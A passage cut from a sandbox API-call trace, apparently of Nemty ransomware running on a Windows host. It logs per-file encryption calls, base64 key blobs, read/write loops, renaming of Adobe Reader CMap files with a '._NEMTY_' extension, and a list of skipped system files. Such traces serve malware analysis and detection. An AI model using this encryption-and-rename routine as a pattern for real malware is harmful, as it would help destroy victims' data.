lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33039770, dwHighDateTime=0x1d561e8)) [0213.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x33039770, dwHighDateTime=0x1d561e8)) [0213.702] GetLastError () returned 0x5 [0213.702] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.702] GetLastError () returned 0x5 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.703] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.703] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0213.703] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653e91c | out: pszString="5JdYxrfzLIjqRdG3iwhddXSfQQOWVFZ6S8oOjsyUGIJ+wZUIBL/7IeHySwFtHGoY\r\n1C0ohhK3RDI9oRwOdk8pcxWz6xsCsR85DGPxmQk6kSGou2qfZTgN0JCAIALJmgCX\r\nLBn2Flgug48G0Azrf97wlq76Kwhq1eNWOEHK9ECOlKIjwCmq1oEeyiVV96qh6nYR\r\nKeMxk/7nd0olpFYllcCBD5N2wSwb84nJNXkANkyMqIRQH13TiQjWpEdivw7ZrpgW\r\nHnyxywF/Kb7RIfGeVYJlT3G2VeBZlCcAwTTTlb1eTST+vqTtKxi+9b1ekN8IVhSq\r\nX/w/anbf+YlCJsAG0nRenQ==\r\n", pcchString=0x653e91c) returned 1 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0213.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.703] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.703] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.703] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.703] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.703] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.703] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.713] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.713] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.713] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.732] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.732] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.732] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.742] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.742] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.742] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.751] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.751] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.751] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.760] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.761] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.761] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.761] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.770] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.770] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.770] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.780] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.780] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.780] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.795] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.795] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.795] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.804] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.810] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.810] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.811] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.811] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.817] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.817] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6349050, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0213.817] CloseHandle (hObject=0xffffffff) returned 0 [0213.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0213.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0213.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0213.817] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0213.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0213.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0213.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0213.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0213.817] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.817] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-v"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\UniKS-UTF16-V._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\uniks-utf16-v._nemty_kgobjgd_")) returned 0 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0213.818] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0213.818] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2=".") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="..") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="...") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="windows") returned -1 [0213.818] lstrcmpiW (lpString1="V", lpString2="$RECYCLE.BIN") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="rsa") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="NTDETECT.COM") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="ntldr") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="MSDOS.SYS") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="IO.SYS") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="boot.ini") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="boot.ini") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="AUTOEXEC.BAT") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="ntuser.dat") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="desktop.ini") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="CONFIG.SYS") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="RECYCLER") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="BOOTSECT.BAK") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="bootmgr") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="programdata") returned 1 [0213.818] lstrcmpiW (lpString1="V", lpString2="appdata") returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x653ebd0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V", lpUsedDefaultChar=0x0) returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x653ebd0, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V", lpUsedDefaultChar=0x0) returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0213.818] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x653ec20, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V", lpUsedDefaultChar=0x0) returned 1 [0213.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0213.819] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="V", cchWideChar=1, lpMultiByteStr=0x653ec58, cbMultiByte=1, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="V", lpUsedDefaultChar=0x0) returned 1 [0213.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0213.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0213.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0213.819] Sleep (dwMilliseconds=0x5) [0213.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3316a270, dwHighDateTime=0x1d561e8)) [0213.827] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x3316a270, dwHighDateTime=0x1d561e8)) [0213.827] GetLastError () returned 0x5 [0213.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0213.827] GetLastError () returned 0x5 [0213.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0213.827] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0213.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0213.827] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0213.827] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0213.828] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0213.828] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="HEfuRaxq3gmIefoj+IGbkXwMLx2siNaJ7vHJWx6mvLL6AGeIHNv1uyNGkzu3D9IL\r\n3o6jciNtco6zKBoFvLazAl04dhEOtDbH/0iiZqu0o/XmEIbqOR3H+PJXnzgIDwzW\r\nORDVOsJ/CixA+M3uYs1QMhehiRuSt7wFfqZUkiUrdIbVwCvv/cl3PpXoOeqGR6nG\r\nCPpampZ70T1L2ymbW9qIK+m852/rNJCW/DqaO2kTgEXyPDbhu0YDI82qqZG1F8B9\r\nnk+el49SrOuZYrBYzpXpkmcsM0Y2QntFGtA7s0r67db4b+n3Ta8QAwWDqR8qfiZ0\r\nLH9GgDCyS8M1v7MwheuAAw==\r\n", pcchString=0x653e91c) returned 1 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0213.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0213.828] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0213.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\V" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\cmap\\v"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0213.828] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0213.828] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6352c48 [0213.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.828] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0213.837] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.838] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0213.838] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0213.838] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) 